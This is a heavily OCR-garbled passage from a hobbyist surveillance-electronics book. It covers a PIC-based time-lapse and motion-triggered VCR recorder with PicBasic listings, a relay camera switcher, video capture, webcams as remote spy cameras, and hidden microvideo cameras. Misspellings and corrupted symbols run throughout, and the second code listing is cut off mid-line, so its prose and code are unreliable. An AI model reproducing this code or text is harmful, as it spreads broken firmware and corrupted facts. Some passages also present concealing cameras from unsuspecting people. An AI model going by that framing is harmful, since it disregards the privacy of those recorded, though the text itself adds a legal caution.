times  can  be  set  by  changiag  the  position  of  two 
docks  of  four  dip  switches.  Tbe  firvt  four  switches 
can  set  the  recording  time  from  0 to  IS  seconds,  aod 
the  second  four  .switches  set  the  dunuion  between 
recording  time  from  0 to  1 5 minutes.  Arm  the  VCR 
for  recording,  set  it  on  pause,  then  activate  the  time* 
lapse  circuit  lo  do  the  rest  Connection  to  the  VCR 
is  made  .simply  by  soldenng  a rwo-cooductor  jack 
directly  from  the  VCR’s  pause  button  so  the  time 
laps  circuit  can  he  added  whenever  necessary.  The 
VCR  will  siill  function  nonnaJIy  once  the  dme  laps 
circuit  is  uqilugged.  The  Brst  thing  that  rweds  to  be 
dene  is  the  addition  of  a two^conducior  jack  to 
extend  the  pause  button  for  easy  access.  Figure  5*3 
shows  this  simple  modification  made  by  soldering 
two  wires  dirtcily  to  the  pins  on  the  pause  button 
located  on  the  VCR’s  main  circuit  board.  The  jack 
will  later  be  installed  through  a small  hole  ilrilled  in 
(he  back  panel  of  the  VCR. 

Polarity  and  type  of  wire  is  not  in^tonant  here,  as 
the  Jack  will  connect  directly  to  the  normally  open 
contacts  on  the  timC'lapse  circuit’s  relay  in  order  to 
simulate  the  actual  press  of  the  pause  buiion.  A 
relay  is  used  so  that  polarity  and  voltage  levels  do 
not  have  to  be  matched  to  the  additional  circuitry. 

To  the  pause  function,  (be  relay  closing  will  be 


Figure  5*9  fastallmg  a rwo>coi\ductor  jack  dintiiy 
to  tht  pause  button. 


exactly  the  same  as  the  original  pause  button 
closing,  so  interfacing  will  be  foolprool*.  If  there  ore 
more  than  iwu  pins  on  the  VCR's  pause  button, 
chances  are  only  two  of  them  arc  needed,  so  just 
experiment  a bit  to  figure  out  which  two  pins  you 
will  need  to  solder  the  extension  wires  to.  When  you 
have  (he  jack  installed  in  the  VCR.  solder  two  wires 
10  the  ^propriate  male  connector  and  test  io  make 
sure  (he  addition  wixks  by  dmiting  die  isvo  wires 
together  while  the  VCR  is  armed  for  record.  The 
first  wire  shorting  should  start  the  VCR  recording, 
and  (he  second  should  stop  iL  If  all  is  well,  it’s  lime 
(o  move  onto  building  the  actual  timedapse  circuit, 
as  shown  in  Figure  3*4. 


Velay 
1 '15  miA\* 


OtyXlme' 
1-15  i€<k 


Rgure  5*4  An  8’hit  wiewewroi/er  if  the  brains  behind  this  project. 
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yoQ  can  see.  tbe  circuit  consists  cpf  lirUe  more 
m ^fC  mjcrocomroller  (PIC18F628),  a 
rdsy  with  driver  transistor,  and  an  B'micro 
block.  Using  a microconiroUer  was  a better 
than  standard  analog  electronics  due  to  tbe 
An  several  timers  would  have  been  needed  to 
(he  device  properly.  Any  microcontroller 
c^rs  eight  input  lines  and  two  output  lines 
mk.  and  due  to  the  simpUcicy  of  (be 
ming.  Just  about  any  programming 
e will  work.  The  code  as  shown  in 
a 5.1  was  done  in  PicBasic  format  here 
«aplicity  sake.  Take  a look  through  the  code 
see  how  it  works.  A detailed  expiunauon 
i (he  code. 


Listing  5.1  PicBasic 
source  code  for  the  time- 
lapse  recording  program 


1 SETUP  I6F628A] 

• tfevice  HS.05C 

• Device  WDT.OFF 


# Device  PWRT.OFF 

# Device  BOD_OFF 


i # Device  MCLR.OFF 

f 

' CMCON  = 7 
I VRCON  = 0 


«isAs%0000 


tEisb=£%linilll 

OPT10N.REG.7ssO 


otl  var  portb.0 
oc2  var  ponb.t 
qO  varponb.2 
0(4  var  ponb.3 
dii  varponb.4 
dl2  var  portb.5 
dl3  var  portb.6 
dM  var  ponb.7 
ctr  var  byte 
oniime  var  byte 
delay  var  word 

'[READ  ONTTME  / DELAY  VALUE 
SWITCHES] 

oniime  s 0 

if  oil  s Oihen  ootime  = ontime  + 1 
if  oi2  B 0 then  ontime  = ontime  + 2 
if  oO  B 0 (hen  omime  ==  ontime  + 4 
if  ol4  B 0 then  ootime  = ontime  + 8 
delay  = 0 

if  dll  B 0 then  delay  = delay  + 1 
if  dl2  — 0 (hen  delay  s delay  + 2 
if  dl3  B 0 (hen  delay  = delay  + 4 
ifdl4  B 0 (hen  delay  = delay  •!•  8 
delay  — delay  * 60 

CtfB  0 


'[MAIN  LOOPI 
main; 


TDEFTNE  PINS  / VARIABLES] 

vcr  var  porta.2 

led  var  porta.3 

output  vcr 

output  led 


'[COUNTER] 
ctr  B ctr  + I 
if  ctr  s delay  then 
ctr  = 0 
endjf 
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'[RECORD  CYCLE  START] 

if  cir  * 0 then 

vcr=  I 

pause  500 

vccB  0 

endif 

'[RECORD  CYCLE  STOP] 
if  ctr  B omime  then 

VCfB  1 

pause  500 
vcr  B 0 
endif 

'[1  SECOND  DELAY  / LED  FLASH] 
IFicdBOTHEN 

ledBl 

else 

ledBO 

endif 

pause  1000 
goto  main 

From  the  code  shown  in  Listing  5.1.  you  can 
see  that  cur  program  simply  reads  the  slate  of  ihe 
8*dip  switches  on  startup,  then  cycles  two  timers 
to  control  both  the  duration  of  reconJ  and  length 
between  record  cycles.  An  LED  U also  flashed 
once  per  second  just  to  let  you  know  the  timer  Is 
functioning.  I will  explain  the  code  undereach 
[LABEL],  so  you  can  understand  how  the  timing 
works,  and  to  make  it  eaaier  to  port  the  program  to 
the  language  and  mlcrDcontroller  of  your  choice. 

[SETUP  16P62SA]  The  code  following  this 
block  has  to  do  with  the  PicBasic  compiler  and  the 
microcontroller  used  — PIC16F628A  in  my  case. 
Your  compiler  and  microcontroller  will  have  its 
own  syntax  for  setting  such  things  as  oscillator 
speed,  pin  behavior  and  power  settings. 


[DEFINE  PINS /VARIABLES]  There  will  be  10 
lO  pins  used  for  this  project  — eighl  for  setting 
ihe  delay  times,  one  for  the  relay  output,  and  one 
for  (he  flashing  LED.  Tire  pin  Ih^  will  drive  the 
relay  through  the  transistor  is  called  VCR.  The 
flashing  LED  pin  Is  called  LED,  and  the  pins  that 
connect  lo  the  dip  switch  block  are  called  OTl-4 
(on  lime),  and  DLi-4  (delay).  Both  VCR  and  LED 
are  set  lo  output,  and  all  other  pins  are 
auiomadcaliy  made  inputs. 

[READ  ONTIME  / DELAY  VALUE  SWITCHES] 
Here  we  read  the  values  of  all  S-dip  switches  in 
order  to  set  the  record  liming  delays.  Since  there 
are  four  switches  in  each  block,  there  will  be  a 
total  of  16  delay  values  for  both  OT  and  DL. 
ranging  from  0 to  15.  A value  of  zero  means  the 
timer  will  be  disabled,  handy  if  you  want  to 
pennanently  mount  it  to  (he  VCR  and  use  easily 
accessible  toggle  switches  to  set  the  values.  After 
selling  Ihe  variables  ’’on  lime'*  and  **delay,’*  the 
variable  "delay''  is  multiplied  by  60  so  that 
durations  between  recording  bursts  are  in  minutes, 
not  seconds. 

[MAIN  LOOP]  All  code  beyond  this  point  will 
loop  unless  the  circuit  is  reset  by  removing  the 
power  source.  Once  running,  changes  in  the  dip 
switches  will  have  no  effect  on  the  program 
liming. 

(COUNTER]  This  b the  main  program  counter 
(ctr).  li  will  reset  once  it  counts  as  high  as  the 
value  placed  in  the  variable  "delay,*'  ta  this 
accounts  for  one  complete  recording  start  and  stop 
cycle. 

[RECORD  CYCLE  START]  Once  the  variable 
"ctr'*  reaches  a full  cycle  and  is  reset  to  zero  by  the 
counter  code,  the  program  consid^  this  the  sun 
of  a new  record  cycle  and  ou^)uts  a 5>volt  pulse  on 
the  "VCR*'  pin  for  half  a second.  This  pulse 
triggers  (he  relay  and  engages  the  VCR  for 
recording  by  taking  it  off  pause. 

[RECORD  CYCLE  STOP)  When  "cti"'  has 
reached  the  value  stored  in  the  variable  '*on  time," 
the  relay  is  turned  oo  again  for  a duration  of  half  a 
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circuitry,  it's  good  to  know  what  the  program  is 
doing  at  the  time, 

H>e  circuit  is  easy  to  hand  wire  on  a bit  of  peif 
board,  and  can  either  be  placed  directly  into  the 
VCR,  or  built  onto  a .small  plastic  box  for  easy 
removal.  1 chose  (be  ext^al  method,  as  the  useful 
functionality  of  the  timer  may  find  a home  in  some 
other  project  some  day.  The  relay  was  salvaged 
from  an  old  computer  modem,  and  a 9'Volt  battery 
and  5'Volt  regulator  power  the  unit  for  days  of 
operation.  You  could  also  power  the  device  by 
searching  around  the  VCR's  main  board  for  a 
suiubic  DC  voltage.  Figure  5-5  shows  my 
completed  iime*lapse  timer  ready  to  be  tested  on 
the  freshly  hacked  VCR. 

When  Hist  testing  the  unit  (w  correct  operation, 
the  best  setting  to  use  is  switch  I and  5 on — this 
will  act  the  unit  for  a one  minute  delay,  a one 
sMnd  record  time.  U would  be  very  tedious  to 
wait  for  15  minutes  just  to  see  if  the  circuit  is 
working  properly.  Well,  have  fun  with  this  little 
project,  and  remember,  it  can  be  connected  to  any 
device  that  can  record. 


Figure  6-5  The  iime-lap.fe  timer  cimiU  ready  for 


aecond.  ending  the  record  cycle  by  placing  the 
*^CR  pack  on  pause. 

|l  SECOND  DELAY  / LED  FLASH)  This  code 
Wock  toggles  the  status  of  pin  ''led"  so  that  the 
•ser  can  see  that  the  circuit  is  curating  properly. 
When  debugging  code  or  troubleshooting 
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making  this  hack,  make  sure  to  cut  all  traces  that 
conned  to  (be  relay  as  they  will  be  connected 
directly  to  (he  AC  line.  When  there  is  no 
connection  to  the  relay  contact  pin.s.  it  will  ibeo  be 
safe  10  solder  the  two  wires  that  connect  to  the 
microcondoller's  input  pin  and  the  circuit's 
ground. 

Figure  5*6  shows  the  simple  modiflcatiDD  to  the 
circuit — a single  wire  connected  from  one  of  the 
motion  sensor's  relay  to  the  same  pin  that  used  to 
flash  the  status  LED  in  the  previous  version  of  this 
project.  The  other  pin  on  the  motion  sensor’s  relay 
is  cormecied  to  (be  circuit's  ground,  as  it  is  a low 
signal  (pin  to  ground)  that  sets  off  the  timing 
cycle. 


Here  is  a modification  to  (he  last  projed  that  will 
■igger  a VCR  to  begin  recording  for  a set  amount 
if  lime  when  a motion  sensor  delects  a person 
Moving  in  the  frame.  Instead  of  a lix>piAg  counter. 
^ program  wails  for  the  moiioo  sensor  relay  to 
dose  and  then  runs  the  record/pause  cycle  once. 

As  long  as  there  is  motion  detected  by  the  sensor. 
We  recording  cycle  will  continue.  Besides  the 
^?i||  change  in  the  microcontroller's  program,  you 
will  also  need  some  type  of  motion  sensor  (hat  can 
dose  a relay  to  signal  movement  has  been 
detected.  1 decided  to  hack  a common  outdoor 
eecunty  light  motion  seosor  by  removing  all  of  the 
Guitry  connected  to  (he  contact  side  of  (he  relay 
that  was  u.sed  to  switch  on  the  floodlights.  When 
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PiQUffi  S»6  The  mirion  smsor  modificatitm  fo  the  time-tofyse  circuit. 


The  microcomroller's  prograjn  code  will  need 
H few  slight  modifications  as  well  in  order  lo 
wait  for  a signal  from  the  motion  sensor  rather 
than  working  on  a continuous  loop.  Besides 
that,  most  of  the  program  remains  unchanged, 
as  the  timer  settings  and  main  loop  already 
function  as  they  should.  Have  a look  at  the 
code  in  Listing  5.2  to  see  the  changes  needed 
to  complete  this  project. 

Listing  5.2  Modified 
program  code  for  the 
motion-sensing  version 

'(DEFINE  PINS  / VARIABLES! 
vcr  var  porta.2 
output  vcr 
mot  var  pona.3 

011  var  portb.O 

012  var  ponb.  I 

013  var  portb.2 


ot4  var  ponb.  3 
dll  varponb.4 
dl2  var  pord).5 
dl3  var  portb.6 
dl4  var  ponb.? 
ctr  var  byte 
oniimc  var  byie 
delay  var  word 

1READ  ONTIME  / DELAY  VALUE 

SWTTCHESl 

ondme  = 0 

if  0(1  s 0 then  ondme  = oniime  1 
iroi2  s 0 then  ontime  = oniime  + 2 
if  oi3  = 0 then  ontime  = ontime  + 4 
if  oi4  = 0 then  ontime  = ontime  + 8 
delay  sO 

if  dl  1 s 0 (hen  delay  = delay  + ] 
if  dl2  = 0 then  delay  = delay  + 2 
if  dl3  = 0 then  delay  ==  delay  + 4 
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dU  s 0 then  delay  = delay  + 8 
y = delay  • 60 

csrsQ 

UNTERj 
* «r  + i 
ctr  > delay  then 
s delay 
*f 

ON  TRIGOERI 
004  = 0 then 

f 

ORD  CYCLE  START] 
ors  0 then 
= I 
500 
sO 
f 

ORD  CYCLE  STOP] 
ctr  = ontime  then 
tcra  1 
pBse  500 

adtf 
pose  1000 
pco  main 


You  will  notice  the  removal  of  the  “led”  variable 
OB  pona.3.  It  bas  been  renamed  to  'Inot”  and  is 
BOW  set  to  be  an  input.  This  pin  svill  connect  to  the 
action  sensor  relay,  and  is  lied  high  so  that  the 
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closing  of  the  relay  grounds  the  pin.  In  the 
[COUNTER]  block  of  code,  the  ”ctr*'  variable  has 
now  been  changed  to  not  reset  when  it  reaches  its 
maximum  (defined  by  the  variable  “delay”).  This 
change  ensures  that  the  counter  will  no  longer 
loop.  A new  block  of  code  [MOTION  TRIGGER] 
will  reset  the  variable  “ctr”  when  the  pin  that 
connects  to  the  motion  sensor  relay  Is  grounded, 
thus  triggering  a single  record  cycle  as  defined  by 
the  dip  switches,  just  the  same  as  in  the  previous 
version  of  this  project.  AU  of  the  code  that  was 
used  to  Ha.sh  the  status  LED  has  been  removed, 
since  we  are  now  using  that  pin  for  the  motion 
sensor  input  pin.  Figure  5-7  shows  the  motion 
controlled  auto  record  circuit  being  tested  with  a 
hacked  security  light  motion  sensor  used  as  the 
trigger. 

Because  the  microcontroller  expects  a shotted 
pin  as  the  motion  detection,  you  could  essentially 
cemneci  the  device  lo  any  switch  or  security  device 
that  simply  closes  a relay  or  contact  A door  bdl  or 
door  opening  switch,  an  open  window  switch,  or 
even  a till  sensor  wmild  all  wotk  fine  with  this 
unit.  Connect  this  unit  lo  a VCR  and  motion 
sensor,  and  it  will  run  for  days,  doing  your  dirty 
woric  for  you. 
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Project  29— Multiple  Camera  Auto  Switcher 


Project  29 — Multiple  Camera  fluto  Sujitcher 


Often,  you  will  have  severaJ  camerus  iftsialleJ 
onsite,  but  only  a single  recording  device,  so  raiber 
than  purchasing  a separate  recording  unit  for  every 
camera,  why  not  just  switch  them  sequentially  into 
a single  recording  device?  Here  is  a simple  circuit 
that  will  let  you  cooneci  up  to  10  video  sources  to 
a single  recording  device,  with  a controllable 
switching  speed.  The  unit  works  by  feeding  a 4017 
decade  counter  with  a variable  pulse  train  from  a 
simple  555  timer  circuit.  Each  of  the  output  lines 
of  the  4017  is  connected  to  the  base  of  transistor, 
which  drives  a camera  switching  relay.  You  can  use 
ai  few  as  two  relays,  or  as  many  as  10.  depending 
on  your  needs.  Relays  were  chosen  as  the  video 
switching  method  as  this  way  you  do  not  have 
to  worry  about  proper  video  levels,  buffen.  or 
amplifiers  as  you  would  if  the  signals  were 
switched  electronically.  This  unit  may  not  have 


all  the  features  of  a commercially  available  video 
switcher,  but  it  Is  very  cost  effective,  easy  to  build 
and  will  work  with  any  video  source  such  as  a 
camera  or  VCR.  Tlw  schematic  for  this  project  is 
presented  in  Figure  5 '8. 

In  my  veraion  of  this  project,  I decided  to  use 
four  relays,  lait  you  can  use  up  to  10  if  you  like. 
The  number  of  relays  will  determine  how  the  reset 
pin  on  the  4017  is  connected,  as  this  pin  resets  the 
counter  when  it  goes  hi^.  The  40 17  is  a counter 
that  outputs  a 5-volt  level  oo  one  of  JO  output  pins 
sequentially  as  clock  pulses  are  seen  on  its  input.  If 
the  reset  pin  is  set  high,  then  the  counter  will  start 
the  counting  sequence  from  the  beginning:  (his 
way  we  don't  have  to  wait  for  the  counter  to 
sequence  any  unused  pins  (this  would  create  blank 
veas  on  your  tecording).  The  555  timer  is 
controlled  via  lOOjrn  variable  resistor,  so  a 


VtcUo-OMt 


lib-  tJiiS 


T&  relay 
drift'ery 


Co4rv3 

CcuH'2 

CantO' 

Cattvl 


Fl9Ur@  5*8  Multiple  camera  auto  switcher  schematic. 
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FIgurfi  5‘9  Tht  muliipU  camera  au/o  miieher  circuit  ready  for  imutlasion. 


Rgurt  5*1  □ The  multiple  camera  auto  switcher 
completed. 


switching  speed  from  approximately  one  second  to 
several  minutes  can  be  achieved.  Since  only  a 
single  relay  will  be  on  at  any  time,  they  all  feed 
the  same  output  line,  which  is  fed  into  (he  video 
input  on  your  recording  device.  The  relays  should 
be  small  S*volt  types  so  that  a single  5* volt 
regulator  can  be  used  to  power  the  circuit.  If  you 
find  small  enough  relays,  the  transistor  drivers  may 
not  be  necessary,  as  (he  4017  may  be  able  to 
source  (he  needed  currenL 
The  wooing  dicuit  shown  in  Figure  5*9  i$  haitd 
wired  in  my  usual  manner  using  some  perf  board 
and  small  bits  of  wire.  In  my  version  of  (his 


project,  (here  is  no  variable  resistor  shown  because 
1 subsii ruled  it  for  a fixed  value  resistor  that  would 
set  (he  switching  frequency  at  about  five  seconds. 

The  final  ^ject  will  easily  fit  into  a small 
plastic  project  box.  but  remember  to  leave  room 
for  (he  five  video  connecter,  a baiieo'  and  a 
power  switch.  ] mounted  all  five  connectors  on  the 
top  of  the  box  so  It  could  be  permanently  fastened 
to  the  rear  of  a VCR  for  easy  connection  of  the 
four  video  sources  and  access  to  the  battery.  The 
final  product  is  shown  built  into  the  small  plastic 
project  case  in  Figure  5*10 — the  connector  on  the 
far  right  is  (he  output,  and  it  is  a different  color 
from  the  first  four,  although  this  cannot  be  seen  in 
black  and  white,  A power  switch  and  indicator 
LED  have  also  been  added  to  conserve  battery 
power  and  alert  the  curator  when  the  unit  is 
running  since  the  small  relays  are  too  quiet  to  hear 
when  activated. 

The  final  product  is  a very  robust  and  easy*to* 
use  multiple  camera  switcher  that  can  accept  any 
video  signal  source  without  worry  of  quality  loss 
or  electronic  inierforence  since  all  the  switching  is 
done  mecbanically.  This  switcher  can  ea.sily  be 
expanded  to  10  camera  inputs,  and  will  perform  as 
well  as  any  commercially  available  switching  unit. 


with  Video  on  a Computer 


Project  30 — LUorking  luith  Video  on  a Computer 


There  may  come  a time  when  it  will  be  necessaiy  security  cameras,  and  will  ccmnect  via  RCA 

to  import  live  or  reconled  video  uiio  a computer  coaxial  connector.  Your  capture  device  may  have 

for  editing,  enhancement,  or  storage.  Even  the  several  different  types  of  connectors,  but  there 

most  basic  home  computer  can  do  video  editing  should  be  at  least  one  female  RCA  input  labeled 

and  enhancement  once  you  iftsiall  some  type  of  "line  input”  or  “video  input,”  just  like  the  one  on 

video  capture  device  to  conven  the  NTSC  video  the  back  of  a standard  VCR,  Some  capture  devices 

signal  into  a digital  file  on  your  bard  drive.  These  (cards  and  external)  are  shown  in  Figure  5-1 1 , 
capture  devices  wtU  come  in  the  form  of  a 

computer  card  or  small  extecial  box  with  a basic  video  editing  software  that  can  cut  and  paste 

connector  for  analog  video  input  and  possible  on  a timeline,  add  effects  and  filiem.  then 

audio  input.  The  type  of  capmre  device  used  on  ^be  resulting  video  back  to  your  hard  drive  for 

thgiial  cameras  will  most  likely  not  be  of  any  use  For  security  purposes,  you 

when  It  comes  to  inputting  video  into  your  ^ ^ brightness,  contrast, 

computer  from  security  cameras  and  security  adjustment  fillers  as  these  can  greatly 

recorders  as  those  capture  devices  do  not  harrdle  ^ ^b.t 

analog  video.  Analog  video  (described  earlier  in  *,5  Mommion. 

SecUon  5)  is  the  standard  format  for  almost  all  ability  to  cut  out  the  important  pans  of  a 
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mher  long  security  video  » also  very  useful,  if 
you  plan  on  keeping  a security  recording  for  later 
viewing  or  enhance  mem.  If  you  have  a need  for 
more  advanced  video  editing  capabilibes.  then 
there  are  many  capable  products  on  the  market  that 
can  perform  magic  on  video  that  desperately  tweds 
eohancement  or  correction.  Using  false  color,  or 
pattern  recognition,  some  video  edltiag  software 
can  even  iransfonn  blurry,  broken  video  sequences 
containing  unreadable  text  such  as  license  plates 
and  signs  back  to  something  usable.  Of  course, 
if  you  have  never  worked  with  video  on  your 
computer,  it  is  best  to  get  to  know  the  basic 
software  that  came  with  your  capture  device. 
Practice  cutting  and  saving  certain  pans  of  a video 


file,  and  then  try  some  of  the  basic  brightness, 
contrast  and  color  correction  hlters.  Figure  5-12 
shows  a small  poniem  of  captured  security  camera 
footage  being  cut  from  the  eotiie  length  to  save 
hard  disk  space.  The  hi^lighied  area  on  the 
timeline  is  about  to  have  “crop"  function 
performed  un  iu  which  will  discard  all  but  that 
small  portion  of  the  entire  clip-  The  software  being 
used  is  called  Sony  Vegas,  a very  capable  audio 
and  video  editing  software. 

Computer  video  editing  can  be  as  simple  as  a 
few  cut  and  paste  functions,  or  so  complicated 
that  it  would  All  two  books  this  size,  and  require 
months  of  hands-on  training  to  master.  Luckily, 
you  will  not  be  requiring  any  special  eftects, 
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Project  31— Web  Cameras  as  Security  Cameras 


in  quajiiy  vioeo  nusiehng  capaomues 
whea  working  with  basic  secuhry  vi<teo  footage, 
so  you  should  be  able  to  get  up  and  running  with 
an  inexpensive  capture  device  and  software 
within  a few  hours.  Once  you  feel  comfortable 


edidng  video  footage  oo  your  computer,  you 
will  wonder  how  you  managed  to  get  by 
without  it.  and  may  soon  find  that  stack  of 
VHS  i^s  reduced  to  a single  folder  on  your 
computer. 


Project  31 — LLIeb  Cameras  as  Security  Cameras 


When  you  need  to  monitor  an  area  from  many 
miles  away  or  even  from  the  other  side  of  the 
planet,  obviously  a video  transmitter  and  cabled 
system  is  not  going  to  get  the  job  done— you  need 
to  send  your  video  over  the  Internet  or  telephone 
system.  A webcam  is  an  inexpensive  electronic 
device  that  contains  a video  camera  and  a web 
server  that  con  be  accessed  from  anywhere  in  the 
world  that  has  an  Internet  connection.  Since  the 
web  camera  does  not  need  a computer  to  operate, 
it  can  be  placed  just  about  anywhere  Just  like  a spy 
camera  for  truly  covert  long-range  monitoring. 
Depending  on  the  speed  of  the  Internet  connected 
to  the  viewing  computer  you  could  be  watching  a 
few  frames  per  second  or  completely  live  full 
screen  video  with  audio,  and  this  is  possible  even 
on  a dial-up  connecdon.  Some  web  cameras  even 
allow  you  to  pan,  tilt  and  zomn  using  a web-based 
control  interface.  Although  the  zoom  capable 
cameras  will  cost  you  a lot  more  than  the  basic 
versions,  they  do  offer  amazing  telephoto 
capabilitie.^  reaching  that  of  binoculars,  which 
makes  covert  spy  operations  much  easier.  Because 
these  cameras  operate  the  same  way  a web  server 
does  on  the  Internet,  you  could  have  multiple 
cameras  installed  all  over  the  globe,  and  be 
watching  them  live  all  at  the  same  time  from  a 
single  woricstation,  complete  with  the  ability  to 
pan,  tilt  and  zoom  in  to  a target  miles  away  ftom 
the  camera. 

A few  of  the  basic  web  cameras  fbai  1 use  in  my 
line  of  work  are  shown  in  Figure  5-13.  These 


particular  models  are  very  inexpensive,  easy  to 
conhgure.  but  do  not  have  any  pan,  tilt  or  zoom 
capabilities.  I like  these  cameras  because  they  arc 
fairly  small  (about  half  the  size  of  a pop  can),  they 
install  quickly,  and  can  easily  be  hidden  behind  or 
inside  objects  with  only  a smalt  hole  for  the  lens  to 
see  through. 

To  set  up  a web  camera,  you  will  have  to  give  it 
access  to  the  Inieroei  or  local  area  network  via 
connection  to  a wired  hub  or  router,  or  through  a 
wireless  network  if  available  on  your  particular 
camera.  Once  the  camera  has  a connection  to  ihc 
network,  you  will  enter  the  default  IP  address  as 
instructed  in  the  manual  to  reach  the  camera's 
setup  page — this  is  basically  a small  website  hard 
coded  into  the  camera  allowing  you  to  access  the 
configuradon  settings  and  live  video  page.  Some  of 
the  settings  you  will  be  required  to  change  are: 
default  IP  address  and  name  of  the  camera,  desired 
frame  rate  and  video  quality,  and  the  administrator 
password.  Depending  on  your  network  and  the 
equipment  plugged  into  it,  you  may  have  to  tinker 
with  a few  mon  settings,  but  you  should  easily  be 
^le  10  follow  along  in  the  camera's  insiullation 
guide  to  end  up  with  a wwiting  live  web  camera. 
When  everything  is  working,  you  will  simply  enter 
the  camera's  IP  address  into  your  web  browser, 
and  (he  live  video  and  audio  (if  available)  will  be 
streaming  to  your  screen  as  whatever  frame  rate 
you  have  set.  or  what  your  network  is  capable  of 
handling.  Figure  5*14  shows  the  video  feed  from 
one  of  my  basic  web  cameras  installed  in  a remote 
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locaiion  hundreds  of  miles  awuy  from  (he  viewing 
works  uiti  on. 

As  you  can  imagine,  (here  are  liieraJly  ihousands 

uses  tor  a camera  such  as  (his,  a spy  camera  thai 
knnws  no  boundaries.  However,  check  your  local, 
sutdprovincial  and  country  Uws  regarding  using 
surveillance  equipment  to  record  aitdio  and/or 
video  images  of  unsuspecting  individuals,  whether 
they  consent  to  being  watched  or  no(.  Some  laws 
require  (bat  prominent  signs  be  posted  stating  that 
surveillance  equipment  may  be  used  on  (he 
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PlQure  S>1M  A live  si<t<oj€r4from  a remoie  weh 
camera  hundreds  miles  erwey. 


with  a ^minem  sign  warning  the  general  public 
or  visitors  to  your  propeny  is  allowed. 

The  most  common  uses  of  web  cameras  are  for 
video  conferencing,  face-to-face  chat  and  video 
surveillance  of  one's  own  environment.  You  could 
monitor  your  home  while  on  vacation,  keep  tabs 
on  (he  nanny  or  kids,  watch  your  yard  or  perimeter 
while  working  ai  the  office,  monitor  a hostile 
environment  from  a safe  disumce;  and  the  list  goes 
on  aiKl  on.  especially  when  your  ‘'Evil  Genius” 
gears  begin  to  turn.  Just  remember  to  respect  the 
privacy  of  others  and  consult  with  legal  or  law 
professionals  before  installing  surveillance 


i 

figure  5-19  A few  basic  M-eb  cameras  used  for 
ioag-range  video  surveillance^ 


premises  or  ”Smile — you're  on  camera.'*  Other  equipment  to  ensure  that  you  abide  by  the  laws 


laws  forbid  recording  audio,  but  video  surveillance  where  you  live. 
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Covert  and  Hidden  Spy  Cameras 


Project  32 — LUorking  luith  Microvideo  Cameras 


MicTuvideo  cameras  come  in  many  sizes  and 
itapci  with  various  lens  types  wd  lux  ratings,  but 
4tey  are  in  fact  not  a lot  di^ereni  than  standard 
iccuriiy  coneras  or  even  camcorders,  as  they  all 
produce  a standard  NTSC  video  signal  ready  for 
ainsmission  or  recording  to  VCR.  Sure,  a micro 
omera  the  size  of  a sugar  cube  will  not  have  any 
M-screen  menus,  and  it  probably  won't  have  any 
kght  and  color  settings  if  it  has  color  at  all.  but  for 
ve  as  a spy  camera,  it  can  easily  be  hidden  from 
view.  And,  with  a lens  opening  as  small  as  ^ih  of 
m inch,  this  little  device  sure  Tits  the  hill.  Even  the 
variety  of  microcamcras  are  so  small  in 
«DQparison  to  camcorders  and  standard  security 
caoieras  that  they  could  be  hidden  just  about 
rtywhere.  with  almost  no  possibility  of  detection 
^ (he  unsuspecting  subject.  Some  of  these 
Microscopic  wonders  have  lux  ratings  so  low  that 
jttey  can  almost  see  in  the  dark,  and  with  a few 
kUtitid  LEDs  placed  towards  the  sceoe.  they  can 
lection  like  military  night  vision  systems  that  cost 
IknMaands  of  dollars  only  a few  years  ago.  The  new 
had  chipset  from  Sony  used  on  one  of  my 
black  and  white  microcameras.  for  example. 
m to  sensitive  to  light  that  when  placed  on  the 
■pepece  of  a pair  of  binoculars,  it  con  see  more 
1 1 dark  scene  than  I can  with  my  naked  eye. 
kfnre  6- 1 shows  a few  of  the  various  micro 
■Mens  I have  in  my  collection  with  a (|uaflcr 
|br  size  comparison. 

I Tbe  style  of  lens  on  the  camera  will  influence 
Kfm  the  camera  will  be  used,  os  it  will  directly 


influence  several  factors  such  as  light  collecting 
ability,  field  of  view,  and  insialladon  method.  You 
will  sec  four  difTereoi  style  lenses  in  Figure  6*1. 
flat  pinhole  (lop  leftt.  wide*angle  microlens  (top 
middle),  standard  oucrotens  Hop  right),  conical 
pinhole  (bottom  lefi),  and  flat  pinhole  (bottom 
right).  Tbe  conical  pinhole  is  very  easy  lo  muum 
behind  or  inside  objects  due  to  its  very  small 
frontal  area  and  pinhole  lens,  and  for  general 
coven  installations  this  is  by  far  the  best  lens  to 
dtoose.  [f  your  installation  requires  a wider  field 
of  view  or  bcucr  li^t  collecting  capabiliues,  then 
a standard  microlens  may  be  better  suited.  af>  the 
optics  arc  interchangeable  and  sometimes 
adjustable.  Another  factor  that  will  influence  the 
type  of  camera  needed  is  tbe  lux  rating  and 
whether  it  is  color  or  black  and  white.  You  might 
wonder  why  anyone  would  choose  a black  and 
while  camera  over  a color  version  when  the  cost 


Figure  G*l  tbrk?«u  cinw  miCTOvidec  ctmiems. 
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Project  3 2— Wor  k i ng  wi'bh  Microvxdeo  Cameras 


for  color  is  only  a few  dollars  higher,  and  the  bask 
size  and  shape  of  both  models  is  usually  the  same. 
There  is  one  main  rea.son.  and  lhat  is  (be  ability  of 
the  camera  to  see  in  a dimly  bi  environment.  Black 
and  white  cameras  are  always  better  at  seeing  in 
low  light  conditions,  as  they  only  have  to  process 
(he  luminance  of  the  scene  raibcr  (ban  the 
luminance  and  chrominance  like  their  color 
counterparts.  For  this  reason,  the  black  and  white 
camera  lux  rating  may  be  many  factors  belter  than 
that  of  the  same  model  camera  with  the  colw 
option.  My  black  and  while  micn)lens  camera  with 
the  Sony  Super  HAD  chipset  (shown  top  right  in 
Figure  6*1)  h a truly  amazing  camera  when  it 
comes  to  low  light  situations,  and  it  can  almost  see 
in  perfect  darkness.  Black  and  white  cameras  are 
also  excellent  candidates  for  invisible  infrared 
lighting  using  an  array  of  800-900nm  infrared 
LEDs  or  some  type  of  full  spectrum  incandescent 
light  filtered  by  u Wratten  gelatin  infrared  Biter. 
Color  cameras  are  also  sensitive  to  infrared 
lighting  as  well,  but  the  resulting  image  will  look 
oddly  colored  and  contain  noise  from  the  image 
sensor,  which  is  why  black  and  white  is  the  better 
choice  for  this  type  of  use.  Color  obviously  has  its 
merit.s  as  well,  and  besides  the  obvious  fact  that  ii 
produces  a color  image,  many  color  microcameras 
include  specialty  lenses  with  manual  iris  control, 
zoom  and  telephoto  cupabilities.  or  threaded  lens 
casings  for  adaptability  to  other  optical  devices. 

Regardless  of  the  type  of  microcamcra  you 
choose  for  your  spy  work,  you  will  need  to  deal 
with  two  common  requirements — power  and  video 
signal  output.  Depending  on  your  camera,  you  will 
be  presented  with  a standard  RCA  style  connector 
for  the  video  output  and  a DC  adapter  plug  for 
powering  (he  device,  or  you  may  see  nothing  more 
